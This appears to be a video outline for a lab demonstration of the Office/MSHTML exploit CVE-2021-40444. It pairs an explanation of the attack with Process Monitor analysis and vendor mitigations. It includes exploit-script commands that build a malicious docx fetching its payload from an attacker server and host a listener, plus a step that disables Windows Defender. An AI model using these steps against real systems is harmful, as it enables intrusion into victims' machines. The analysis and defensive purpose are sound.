NEW Microsoft Zero-Day Exploit(CVE-2021-40444)- Analyzing CVE-2021-40444 with Process Monitor
The zero-day is a remote code execution vulnerability in MSHTML, which is Microsoft’s proprietary browser engine for Internet Explorer. Adversaries are embedding malicious ActiveX controls in Microsoft Office documents that host the browser rendering engine. Victims only need to open the malicious documents for adversaries to get inside the network.
The attack depends on MSHTML loading a specially crafted ActiveX control when the target opens a malicious Office document. The loaded ActiveX control can then run Malicious code to infect the system with more malware.
So, the attacker will have to trick the user into opening a malicious document. Once the Office file or RTF file is opened, the web-based content in the file activates MSHTML, which then uses ActiveX to render the malicious web content.
0:01 Generate a malicious docx with a test DLL file (python3 exploit.py generate test/calc.dll http://SRV IP)
7:20 Delivers Malicious docx to Target Machine
9:12 Set-up a Listener on the Attacker Machine (sudo python3 exploit.py host 80)
10:56 Start Process Monitor to capture running processes
11:22 Victim Opens up malicious Docx
12:04 Windows Defender Detects malicious Docx
13:10 Windows Defender was Disabled to bypass detections
13:33 Connection was made to Listener on the Attacker Machine
17:45 Victim Opens up malicious Docx
18:18 winword.exe spawn up cmd.exe and windows Calculator App
20:49 Connection was made to Listener on the Attacker Machine after Docx was open
24:42 Filter for winword.exe and Analyze Events via Process Monitor
29:00 Analyze for External TCP connections on the Process Monitor
34:45 Malicious ActiveX Control downloads .cab file from the Remote site
36:18 Filter and Analyze how winword.exe loads MSHTML DLL file
40:38 Microsoft Mitigation steps for CVE-2021-40444
43:47 Mcafee's Mitigation steps for CVE-2021-40444
Reference
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444
https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/09/windows-mshtml-zero-day-actively-exploited-mitigations-required/
https://www.tomsguide.com/news/microsoft-mshtml-zero-day-flaw
https://kc.mcafee.com/corporate/index?page=content&id=KB94876&locale=en_US
https://www.reddit.com/r/crowdstrike/comments/pkb9wi/situational_awareness_cve202140444_mshtml_remote/